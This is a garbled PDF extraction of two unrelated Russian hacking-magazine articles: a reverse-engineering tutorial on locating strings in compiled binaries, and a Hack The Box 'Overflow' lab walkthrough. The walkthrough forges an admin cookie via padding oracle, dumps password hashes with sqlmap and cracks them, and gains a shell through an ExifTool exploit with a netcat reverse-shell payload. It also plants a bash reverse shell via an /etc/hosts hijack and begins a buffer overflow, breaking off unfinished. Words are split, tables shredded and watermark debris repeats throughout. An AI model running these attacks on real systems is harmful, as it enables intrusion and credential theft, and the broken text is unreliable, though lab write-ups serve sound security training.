Задача номер один — автомати зированное выявление строк в программе : не пролис тывать же мегабайтовые дампы вручную ? Существу ет множес тво алгорит мов идентифика ции строк. Самый простой (но не самый надежный ) основан на двух тезисах:
•строка состоит из ограничен ного ассортимен та символов . В грубом приб лижении — это цифры , буквы алфавита (включая пробелы ), знаки препина ния и служеб ные символы наподобие табуляции или возвра та каретки ;
•строка должна состоять по крайней мере из несколь ких символов .
Условим ся считать минимальную длину строки равной N байтам . Тогда для автомати ческого выявления всех строк достаточ но отыскать все пос ледователь ности из N и более «строковых » символов . Весь вопрос в том, чему должна быть равна N и какие символы считать «строковы ми».
Если N имеет малое значение , порядка трех четырех байтов , то мы получим очень большое количество ложных срабаты ваний. Напротив , когда N велико, порядка шести восьми байтов , число ложных срабаты ваний близко к нулю и ими можно пренеб речь, но все короткие строки , например OK, YES,
NO, окажут ся не распозна ны ! Другая проблема : помимо знако цифровых сим волов, в строках встречают ся и элемен ты псевдогра фики (особен но часты они в консоль ных приложе ниях ) и всякие там «мордашки », «стрелки », «карапузики » — словом , почти вся таблица ASCII. Чем же тогда строка отли чается от случай ной последова тель нос ти байтов ? Частотный анализ здесь бессилен : ему для нормаль ной работы требует ся как минимум сотня байтов текста , а мы говорим о строках из двух трех символов !
Зайдем с другого конца . Если в программе есть строка , значит , на нее кто нибудь да ссылает ся. А раз так, можно поискать среди непосредс твенных значений указатель на распознан ную строку . И если он будет найден , шансы на то, что это действи тельно именно строка , а не случай ная последова тель ность байтов , резко возраста ют. Все просто , не так ли?
Просто , да не совсем ! Рассмот рим следующий пример (writeln_d):
program writeln_d;
begin
Writeln('Hello, Sailor!');
end.
Резуль тат выполнения writeln_d
Откомпи лируем этот пример . Хотелось бы сказать , любым Pascal-компилято ром, только любой нам не подойдет , посколь ку нам нужен бинарный код под архитек туру x86-64. Это автомати чески сужает круг подходящих ком пиляторов . Даже популярный Free Pascal все еще не умеет билдить прог раммы для Windows x64. Но не убирай его далеко, он нам еще пригодит ся.
В таком случае нам придет ся восполь зоваться Embarcadero Delphi 10.4. Настрой компилятор для постро ения 64-битных приложе ний и загрузи откомпилиро ванный файл в дизассем блер:
IDA определи ла , что перед вызовом функции
_ZN6System14_Write0UStringERNS_8TTextRecENS_13UnicodeStringE
в регистр RDX загружа ется указатель на смещение aHelloSailor. Пос мотрим, куда оно указыва ет (дважды щелкнем по нему):
.text:000000000040E6DC aHelloSailor: ; DATA XREF:
_ZN9Writeln_d14initializationEv+26↑o
.text:000000000040E6DC text "UTF-16LE", 'Hello, Sailor!',0
Ага! Текст в кодировке UTF-16LE. Что такое UTF-16, думаю, всем понятно . Два
конечных |
символа |
обознача |
ют порядок байтов . В данном |
случае , посколь |
ку |
|||||||||||||||||
приложе |
ние скомпилиро |
вано |
для архитек туры |
x86-64, в которой использует |
||||||||||||||||||
ся порядок байтов «от младшего |
к старшему |
» — little endian, упомяну |
тые сим |
|||||||||||||||||||
волы говорят именно об |
этом. В противо |
полож |
ном |
случае , например |
||||||||||||||||||
на компьюте ре с процес сором |
SPARC, кодировка имела бы название |
UTF- |
||||||||||||||||||||
16BE от big endian. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
Из этого следует , что Delphi кодирует каждый |
символ |
переменным |
||||||||||||||||||||
количеством |
байтов : 2 или 4. Посмотрим |
, |
как себя |
поведет Visual C++ |
||||||||||||||||||
2019 с аналогич |
ным |
кодом: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#include <stdio.h>
int main() {
printf("%s", "Hello, Sailor!");
}
Резуль тат дизассем бли рова ния :
main proc near
sub |
rsp, 28h |
|
lea |
rdx, aHelloSailor ; "Hello, Sailor!" |
|
lea |
rcx, _Format |
; "%s" |
call |
printf |
|
xor |
eax, eax |
|
add |
rsp, 28h |
|
retn |
|
|
main endp
Поинте ресуемся, что находится в сегменте данных только для чтения (rdata)
по смещению aHelloSailor:
.rdata:0000000140002240 aHelloSailor |
|
db 'Hello, Sailor!',0 ; DATA |
||||||||||||||||||||||||||||||
XREF: main+4↑o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
Никаких |
дополнитель |
ных сведений |
о размере |
символов |
. Из этого можно сде |
|||||||||||||||||||||||||||
лать вывод, |
что |
использует ся стандар тная |
|
8-битная |
кодировка |
|
ASCII, |
|||||||||||||||||||||||||
в которой под каждый |
символ отводит ся только 1 байт. |
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||
Ядро Windows NT изначаль |
но использовало |
для работы со строковы |
ми |
|||||||||||||||||||||||||||||
символами |
кодировку UTF-16, однако до Windows 10 в пользователь |
ском |
||||||||||||||||||||||||||||||
режиме применя |
лись |
две кодировки : UTF-16 и ASCII (нижние |
128 символов |
|||||||||||||||||||||||||||||
для английско го |
языка , верхняя |
|
половина |
— |
для |
русско го ). Начиная |
||||||||||||||||||||||||||
с Windows 10, в user mode использует ся только UTF-16. Между тем символы |
||||||||||||||||||||||||||||||||
могут хранить |
ся и в ASCII, что мы видели в примере |
выше. |
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||
В C/C++ char является |
исходным типом символа |
и позволя |
ет хранить |
|||||||||||||||||||||||||||||
любой символ |
нижней |
и верхней |
частей кодировки ASCII размером |
8 |
|
бит. |
||||||||||||||||||||||||||
Хотя реализация |
|
типа wchar_t полностью |
лежит на совести разработ |
чика |
||||||||||||||||||||||||||||
компилято |
ра , в Visual C++ он представ |
ляет |
|
собой полный |
аналог символа |
|||||||||||||||||||||||||||
кодировки UTF-16LE, то есть позволя |
ет хранить |
любой символ Юникода |
. |
|
|
|
|
|||||||||||||||||||||||||
Для демонстра ции двух основных символь |
ных типов в Visual C++ напишем |
|||||||||||||||||||||||||||||||
элемен тарный |
пример : |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#include <iostream>
int main() {
std::cout << "size of 'char': " << sizeof(char) << "\n";
std::cout << "size of 'wchar': " << sizeof(wchar_t) << "\n";
char line1[] = "Hello, Sailor!";
wchar_t line2[] = L"Hello, Sailor!";
std::cout << "size of 'array of chars': " << sizeof(line1) << "\n";
std::cout << "size of 'array of wchars': " << sizeof(line2) << "\n"
;
}
Резуль тат его выполнения представ лен ниже.
Размеры символь ных данных
Думаю , все понятно без подробных пояснений : char — 1 байт, wchar_t — 2 байта . Строка "Hello, Sailor!" состоит из 14 символов , плюс конечный 0. Это также отражено в выводе программы .
В стандарте C++ есть типы символов : char8_t, char16_t, char32_t. Первый из них был добавлен с введени ем стандарта C++20, два других добавлены в C++11. Их размер отражает ся в их названи ях: char16_t использует ся для символов кодировки UTF-16, char32_t — для UTF-32. При этом char8_t не то же самое, что «унаследован ный» char, хотя позволя ет работать с символами последне го, главным обра зом он предназна чен для литералов кодировки
UTF-8.
Размеры символов важны для обнаруже ния границ строк при анализе дизас семблер ных листингов программ .
Можно сделать вывод, что современ ные Visual C++ и Delphi опериру ют одинако выми типами строк, неважно какого размера , но оканчива ющиеся символом 0. Но так было не всегда . В качестве историчес кого экскурса откомпилиру ем пример writeln_d компилято ром Free Pascal.
Среда Free Pascal
Загрузим результат в IDA.
IDA определи ла , что загружа емый исполняемый файл 32-разрядный
_main |
proc near |
|
|
argc |
= dword |
ptr |
8 |
argv |
= dword |
ptr |
0Ch |
envp |
= dword |
ptr |
10h |
|
push |
ebp |
|
|
mov |
ebp, |
esp |
|
push |
ebx |
|
|
call |
FPC_INITIALIZEUNITS |
|
|
call |
fpc_get_output |
|
|
mov |
ebx, |
eax |
|
mov |
ecx, |
offset _$WRITELN_FP$_Ld1 |
|
mov |
edx, |
ebx |
|
mov |
eax, |
0 |
|
call |
FPC_WRITE_TEXT_SHORTSTR |
|
|
call |
FPC_IOCHECK |
|
|
mov |
eax, |
ebx |
|
call |
fpc_writeln_end |
|
|
call |
FPC_IOCHECK |
|
|
call |
FPC_DO_EXIT |
|
_main |
endp |
|
|
Так так так… какой интерес ный код для нас пригото вил Free Pascal! Сразу же бросает ся в глаза смещение
_$WRITELN_FP$_Ld10
адрес которого помещается в регистр ECX перед вызовом процеду ры FPC_WRITE_TEXT_SHORTSTR, своим названи ем намекающей на вывод текста . Постой , ведь это же 32-разрядная программа , где передача параметров в регистрах скорее исключение , чем правило , и использует ся только при сог лашении fastcall, в остальных же случаях параметры передаются через стек!
Заглянем ка в документацию по компилято ру … Есть контакт ! По умол чанию в коде механизма вызова процедур для процес соров i386 использует ся соглашение register. У нормаль ных людей оно называется fastcall. И, пос кольку для платформы x86 оно не стандарти зиро вано , в отличие от x64, для передачи параметров используют ся все свобод ные регистры ! Поэтому
в том, что использует ся регистр ECX, нет ничего сверхъестес твенного.
Чтобы окончатель но убедить ся в нашей догадке , посмотрим , как рас поряжается переданным параметром вызываемая функция
FPC_WRITE_TEXT_SHORTSTR:
FPC_WRITE_TEXT_SHORTSTR proc near
;CODE XREF: _main+1C↑p
;sub_403320+31↑p ...
push ebx push esi
push |
edi |
mov |
ebx, eax |
mov |
esi, edx |
mov |
edi, ecx ; Копирование параметра в регистр EDI |
Но тут много чего копируется , поэтому эта инструк ция не доказатель ство . Смотрим дальше .
mov |
edx, ds:FPC_THREADVAR_RELOCATE |
|
test |
edx, edx |
|
jz |
short |
loc_40661C |
mov |
eax, ds:U_$SYSTEM_$$_INOUTRES |
|
call |
edx ; |
FPC_THREADVAR_RELOCATE |
jmp |
short |
loc_406621 |
;
---------------------------------------------------------------------
------
loc_40661C: ; CODE XREF: FPC_WRITE_TEXT_SHORTSTR+11↑j
mov |
eax, offset unk_40B154 |
loc_406621: |
; CODE XREF: FPC_WRITE_TEXT_SHORTSTR+1A↑j |
cmp |
word ptr [eax], 0 |
jnz |
loc_4066AC |
mov |
eax, [esi+4] |
cmp |
eax, 0D7B1h |
jl |
short loc_40668C |
sub |
eax, 0D7B1h |
jz |
short loc_40666C |
sub |
eax, 1 |
jnz |
short loc_40668C |
mov |
esi, esi |
Ага! Следующая инструк ция копирует указатель , преобра зуя его в 32-раз рядное значение без учета знака (указатель не может быть отрицатель ным ). Затем с помощью команды cmp сравнива ются значения двух регистров : EAX и EBX. И если EAX больше или равен EBX, выполняет ся переход на метку
loc_40665C...
movzx |
eax, byte ptr [edi] |
cmp |
eax, ebx |
jge |
short loc_40665C |
movzx |
eax, byte ptr [edi] |
mov |
edx, ebx |
sub |
edx, eax |
mov |
eax, esi |
call |
sub_4064F0 |
lea |
esi, [esi+0] |
loc_40665C: |
; CODE XREF: FPC_WRITE_TEXT_SHORTSTR+49↑j |
...где происхо дит похожая на манипуляцию со строкой деятельность .
movzx |
ecx, byte ptr [edi] |
|
lea |
edx, |
[edi+1] |
mov |
eax, |
esi |
call |
sub_406460 |
|
... |
|
|
Теперь мы смогли убедить ся в правиль нос ти нашего предположе ния ! Вер немся к основному исследова нию и посмотрим , что же скрывает ся под подозритель ным смещени ем :
.rdata:00409004 |
_$WRITELN_FP$_Ld1 db 0Eh ; DATA XREF: _main+10↑o |
||
.rdata:00409005 |
db |
48h |
; H |
.rdata:00409006 |
db |
65h |
; e |
.rdata:00409007 |
db |
6Ch ; l |
|
.rdata:00409008 |
db |
6Ch ; l |
|
.rdata:00409009 |
db |
6Fh ; o |
|
.rdata:0040900A |
db |
2Ch ; , |
|
.rdata:0040900B |
db |
20h |
|
.rdata:0040900C |
db |
53h |
; S |
.rdata:0040900D |
db |
61h |
; a |
.rdata:0040900E |
db |
69h |
; i |
.rdata:0040900F |
db |
6Ch ; l |
|
.rdata:00409010 |
db |
6Fh ; o |
|
.rdata:00409011 |
db |
72h |
; r |
.rdata:00409012 |
db |
21h |
; ! |
.rdata:00409013 |
db |
0 |
|
Согласись , не это мы ожидали увидеть . Однако последова тель ное рас положение символов строки «в столбик » дела не меняет . Интересен другой момент: в начале строки стоит число , показывающее количество символов
в строке , — 0xE (14 в десятичной системе ).
Оказыва ется, мало идентифици ровать строку , требует ся еще как минимум определить ее границы .
Продолжение статьи0 →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
ВЗЛОМ |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
УПРАЖНЯЕМСЯ В АТАКЕ PADDING ORACLE
ИЭКСПЛУАТИРУЕМ БАГ В EXIFTOOL
Вэтой статье я покажу, как проводить атаку
padding oracle и эксплу атировать сайты через SQL-инъекцию . Затем мы получим доступ к машине через уязвимость
в ExifTool и повысим привиле гии на хосте через переполнение буфера в поль зовательском приложе нии.
RalfHacker hackerralf8@gmail.com
Полиго ном нам послужит Overfow — машина с площад ки Hack The Box, оце ненная как сложная . Ее прохож дение действи тель но оказалось несколь ко запутанным .
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Добав ляем IP-адрес машины в /etc/hosts, чтобы было удобнее обращать ся к ней:
10.10.11.119 overflow.htb0
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляет атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта .
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу ет в два этапа . На первом произво дит ся обычное быстрое ска нирование , на втором — более тщатель ное сканиро вание , с использовани ем имеющих ся скриптов (опция -A).
Резуль тат работы скрипта
Мы нашли три открытых порта :
•22 — служба OpenSSH 7.6p1;
•25 — служба Postfx SMTP;
•80 — веб сервер Apache 2.4.29.
КSSH доступа мы пока не имеем , что делать с SMTP-сервером на данном этапе , тоже неясно , поэтому просматри ваем веб.
Главная страница overfow.htb
На сайте доступна регистра ция и авториза ция . Выполним оба действия , что бы получить доступ к новым функци ям . После регистра ции и входа на панели сайта появятся новые ссылки на настрой ки профиля , а также какие то темати ческие статьи.
Страница Profle
Страница Blog
Сканирование веб-контента
Ничего интерес ного не обнаружив , я решил просканиро вать каталоги и сай ты. Это поможет нам найти скрытый админис тратором контент .
Одно из первых действий при тестирова нии безопасности веб приложе ния — это сканиро вание методом перебора каталогов , чтобы найти скрытую информацию и недоступные обычным посетителям функции . Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый fuf. При запуске можно задать следующие параметры :
•-w — словарь (я использую словари из набора SecLists);
•-t — количество потоков;
•-u — URL;
•-fc — исключить из результата ответы с кодом 403.
Набира ем команду
ffuf -u http://overflow.htb/home/FUZZ -t 256 -w php_files_common.txt0
Резуль тат сканиро вания PHP-файлов с помощью fuf
Мы нашли файл logs.php. Также я просканиро вал корневой каталог сайта и получил дополнитель но директорию config, которая пока что нам ничего не дает.
Резуль тат сканиро вания каталогов с помощью fuf
При попытке запросить содержимое logs.php получаем сообщение , что нам закрыт доступ .
Страница logs.php
ТОЧКА ВХОДА
Перехо дим к более глубоко му анализу технологий сайта . И обратим вни мание на странную последова тельность в cookie — auth.
Перех вачен ный запрос на сервер
Я попробовал провер нуть разные манипуляции с этой строкой : декодирова ние, частичное изменение , дополнение и урезание . В результате я наткнул ся на код ответа 302 и редирект на страницу logot.php с параметром err=1.
Ответ сервера
Запрос после редиректа
Открыв эту страницу в браузе ре , обнаружим сообщение «Invalid padding», что сразу наталкива ет на мысль об атаке padding oracle.
Сообще ние об ошибке
Padding oracle
Это атака на шифрование CBC, при котором сообщение разбива ется на бло ки длиной X байтов и каждый блок ксорит ся с предыду щим зашифрован ным блоком . Затем результат шифрует ся . Что очень важно , шифрование выпол няется блоками фиксирован ного размера .
Чтобы гарантировать точное размещение открытого текста в одном или несколь ких блоках , часто использует ся дополнение (padding). Это допол нение может быть выполнено несколь кими способа ми (самый распростра ненный — PKCS7). В PKCS7 дополнение будет состоять из одного и того же числа : количества недостающих байтов .
Например , если в открытом тексте отсутству ют два байта , то заполнение будет \x02\x02. Суть атаки заключа ется в том, что мы, манипулируя данными
и получая информацию о верности дополнения , можем вскрыть весь исходный текст.
|
Подробнее |
о padding oracle attack в статье |
|
|
на «Хабрахаб |
ре »: часть 1, часть 2. |
Для работы будем использовать скрипт PadBuster. Я перерегис три ровал пользовате ля , получил куки и указал их этому чудо скрипту для работы.
padbuster http://overflow.htb/home/index.php
Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX 8 -cookies auth=
Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX0
Запуск PadBuster
Нас просят выбрать вариант ответа , уведом ляющий об ошибке дополнения . Рекомендован третий вариант , его и указыва ем .
Вскрытие исходного текста
В итоге мы получаем открытый текст, зашифрован ный в cookie: user=ralf. Теперь мы понимаем формат данных для аутентифика ции . Сервер рас шифровыва ет куки и определя ет текущего пользовате ля . Но эта атака помогает не только вскрыть зашифрован ные данные , но и заново зашиф ровать свои! Так мы можем указать PadBuster, что нужно зашифровать подоб ную строку для пользовате ля Admin.
padbuster http://overflow.htb/home/index.php
Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX 8 -cookies auth=
Ow%2F5zdCFrSoAl%2FO6Mo3gaD8Y79JztfUX -plaintext "user=Admin"
Новые перезашиф рован ные данные
Спустя некоторое время мы получим куки, применив которые подклю чим ся от имени админис тра тора . На сайте нам становит ся доступна админис тра тив ная панель, с которой мы можем получить доступ к CMS Made Simple и най денным ранее логам.
Форма авториза ции Made Simple
Так как никаких учетных данных у нас нет, нужно проверить существу ющие экспло иты , а для этого узнать версию продук та . Исходники Made Simple открыты , и можно подсмот реть путь к файлу с описани ем обновлений : /doc/
CHANGELOG.txt.
Версия Made Simple
В этом файле последней упомина ется версия 2.2.8. Утилита searchsploit для поиска экспло итов в базе Exploit-DB помогает найти PoC эксплу ата ции
SQL Injection для версии меньше 2.2.10.
searchsploit 'CMS made simple'
searchsploit -p php/webapps/46635.py0
Поиск экспло итов с помощью searchsploit
Но проэкс плу ати ровать уязвимость не выходит, поэтому перейдем к логам.
Логи сайта
В самих логах ничего полезного не находим. Однако если посмотреть на зап рос в Burp, то сам способ запроса привлека ет внимание .
Запрос логов в Burp
Страница logs.php принима ет параметр name, а это новая точка входа !
SQL Injection
Я веду несколь ко словарей , содержащих разные последова тельности триг геры для разных уязвимос тей. На словаре для определе ния инъекций SQL у меня определи лось несколь ко видов ответов .
Burp Intruder — вкладка Payload Positions
Резуль тат перебора
Чтобы раскру тить уязвимость , восполь зуем ся sqlmap. Указыва ем получен ные ранее cookie, а тестиру емое место — символом *.
sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=
BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA0
Определе ние нагрузки для эксплу атации
Sqlmap нашел уязвимый запрос , поэтому попробу ем достать интерес ные данные . Первым делом получим список баз данных (параметр --dbs).
sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=
BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA --dbs
Список баз данных
Логи нам неинтерес ны, служеб ная база — тоже, а вот cmsmsdb — это база данных Made Simple. Она должна содержать учетные данные . Получим список таблиц (параметр --tables) из этой базы (параметр -D).
sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=
BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA -D cmsmsdb --tables
Список таблиц
Нас интересу ет таблица cms_users. Выводим все содержимое (параметр -- dump) из этой таблицы (параметр -T).
sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=
BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA -D cmsmsdb -T cms_users --dump
Содер жимое таблицы cms_users
Получа ем два хеша пользователь ских паролей. Теперь попробу ем их кряк нуть. Made Simple использует хеширование MD5 с солью по схеме md5(salt + pass) (для hashcat это режим 20). Соль мы можем получить как sitemask
из таблицы cms_siteprefs.
sqlmap -u 'http://overflow.htb/home/logs.php?name=*' --cookie auth=
BAitGdYOupMjA3gl1aFoOwAAAAAAAAAA -D cmsmsdb -T cms_siteprefs --dump
Продолжение статьи0 →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
ВЗЛОМ |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
← |
|
|
|
|
|
|
|
|
|||
w |
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x ha |
|
|
|
|
УПРАЖНЯЕМСЯ В АТАКЕ PADDING ORACLE И ЭКСПЛУАТИРУЕМ БАГ В EXIFTOOL
Соль для хеша MD5
Хеш и соль нужно записать в файл в формате hash:salt, после чего отдать его на перебор в hashcat, который очень быстро вернет нам пароль поль зователя editor.
hashcat -a 0 -m 20 hashes rockyou.txt0
Резуль тат перебора хешей
Учетные данные помогают авторизо вать ся в Made Simple.
Главная страница CMS Made Simple
Погуляв по сайту , находим новый домен. А это новая точка входа !
Страница User Defned Tags
ТОЧКА ОПОРЫ
Новый домен сразу добавляем в файл /etc/hosts.
10.10.11.119 overflow.htb devbuild-job.overflow.htb0
Форма авториза ции Overfow Devbuild
Разоб рать ся с формой авториза ции нам помогают учетные данные поль зователя editor. Нам открывает ся какой то магазин дизайна приложе ний . И первым делом я отправил ся искать возможность что то изменить в нас тройках аккаунта в надежде найти очеред ную точку входа .
Главная страница веб приложе ния
В профиле есть возможность загрузить резюме — то, что нужно ! Попытки залить разные нагрузки успехом не увенчались , так как форма принима ет только файлы TIFF и JPEG.
Форма загрузки резюме
Однако потом я решил глянуть , что предлага ет мне Burp, и нашел в ответе вывод ExifTool версии 11.02.
Ответ сервера
Так как мы знаем версию программы , нужно сразу проверить наличие задоку ментирован ных экспло итов .
Поиск экспло итов в Google
Мы тут же получаем CVE-идентифика тор уязвимос ти , которая может дать нам удален ное выполнение кода. Оно возможно , посколь ку при обработ ке изоб ражения не фильтру ются пользователь ские данные , что позволя ет нам записать в качестве этих данных нагрузку . Для этой уязвимос ти есть даже готовый билдер в Metasploit Framework:
exploit/unix/fileformat/exiftool_djvu_ant_perl_injection0
Выбира ем в качестве нагрузки реверс шелл Unix и указыва ем адрес хоста и порт, на котором запущен листенер (запускаем командой rlwrap -cAr nc
-lvp 4321).
msfconole -q
use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection0
set payload cmd/unix/reverse_netcat0
set LHOST 10.10.14.170
set LPORT 43210
Генери рова ние изображения с нагрузкой
Засыла ем картинку и тут же получаем бэкконнект от сервера .
Логи листенера
ПРОДВИЖЕНИЕ Пользователь developer
Так как на хосте развернут веб сервер , а на нем работает несколь ко веб при ложений , то первое наше действие — попробовать получить учетные данные пользовате лей . Высока вероятность того, что эти логины и пароли подойдут для каких то пользовате лей в системе . К тому же был каталог content, именно
в нем мы и находили файл с учетными данными для подклю чения к базе дан ных.
Содер жимое файла db.php
От имени пользовате ля developer подклю чаем ся по SSH.
Сессия пользовате ля developer
Пользователь tester
Как показывает команда id, наш пользователь состоит в группе network. Это не какая то умолчатель ная настрой ка.
Для сбора информации с машины я использовал скрипт LinPEAS. С его помощью определя ем , что члены группы network имеют право записи в файл /etc/hosts, а также текущему пользовате лю разрешен запуск файла /opt/ commontask.sh, владель цем которого является tester.
Файлы , доступные для записи
Файлы со списком доступа
Просмотрим содержимое файла /opt/commontask.sh.
Содер жимое файла commontask.sh
Этот скрипт скачива ет файл task.sh с адреса taskmanage.overflow.htb и выполняет с помощью bash. Дело в том, что хост не знает этого имени и не может его зарезолвить , но мы можем записать его в файл /etc/hosts на уда ленном хосте , а в качестве адреса указать свой хост.
Содер жимое файла /etc/hosts
Создаем на своем веб сервере скрипт task.sh, куда записываем обычный реверс шелл:
bash -i >& /dev/tcp/10.10.14.7/4321 0>&1`
В течение минуты получаем бэкконнект .
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Среди файлов со списком доступа , обнаружен ных с помощью LinPEAS, был и /opt/file_encrypt. Он может запускать ся пользовате лем tester от име ни рута. В этой директории я обнаружил сообщение , в котором говорится о том, что нужно обратить внимание на функцию провер ки ПИН кода.
Содер жимое каталога /opt/fle_encrypt
Тестовый запуск приложе ния
Скачива ем приложе ние на локальную машину, чтобы хорошенько разревер сить и понять, что в нем происхо дит. Для анализа приложе ния я использовал
IDA Pro с декомпилято ром Hex-Rays.
Анализ приложения
Итак, в функции main кроме вызова функции check_pin больше ничего не происхо дит .
Функция main
В функции check_pin генерирует ся псевдослу чай ное число (строка 8), затем оно передается в функцию random для дальнейших преобра зова ний (стро ка 9). ПИН код считыва ется из консоли и сравнива ется с преобра зован ным рандомным значени ем (строки 11–13). Далее считыва ется имя и выводится сообщение (строки 14–16).
Функция check_pin
Функция random
Сразу обозначим следующее :
•сгенери рованное «рандомное » число всегда будет одним и тем же при каждом запуске программы , так как не использует ся инициали зация рандомай зера;
•длина буфера v1 — 20 байт, при этом длина считыва емой строки не про веряется . Таким образом , мы имеем переполнение буфера.
Всписке функций найдем еще одну, которая нигде не вызывается , — функция encrypt.
Список функций
Провер ка ссылок на функцию encrypt
В начале функции у нас запрашива ют два файла (строки 35–50). Затем выполняет ся посимволь ное чтение из первого файла , XOR с символом 0x9B и запись во второй файл (строки 52–78).
|
|
|
|
|
Функция |
encrypt |
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
||||||||
Таким |
образом |
мы можем заранее |
зашифровать |
файл с ключом |
0x9B, |
||||||||||
а затем перезаписать |
любой файл в системе |
. При повторном |
шифровании |
||||||||||||
в программе |
он будет расшифро |
ван . Осталось |
вызвать |
функцию |
encrypt, |
||||||||||
для чего нужно получить ПИН и переполнить |
буфер. |
|
|
|
|
|
Получение ПИН-кода
Чтобы узнать ПИН код, я решил просто запустить приложе ние в отладчике и получить его значение после выполнения функции random (результат в регистре EAX).
Получе ние ПИН кода
Так как первый байт (0xf3) больше , чем 0x7f, то наше число будет представ лено как отрицатель ное. То есть нам нужно из полученного значения вычесть 0x100000000, выйдет -202976456 — это и есть наш ПИН.
Переполнение буфера
В тестирова нии переполнения буфера очень помогают генераторы пос ледователь ностей де Брёйна (неповторя ющихся цепочек символов ). Они к тому же помогают точно вычислить смещение , по которому мы можем перезаписы вать в стеке адрес возвра та из функции . Сгенери ровать такую последова тельность можно , к примеру , с помощью незаменимо го pwntools. Сгенери руем строку длиной 200 символов .
Генери рова ние последова тель нос ти де Брёйна
Теперь передадим ее в качестве имени нашему приложе нию и посмотрим , на каком адресе вылетит программа .
Ошибка выполнения программы
Так, 0x6161616c соответс твует последова тельности laaa. Получим смещение в последова тельности.
Получе ние смещения
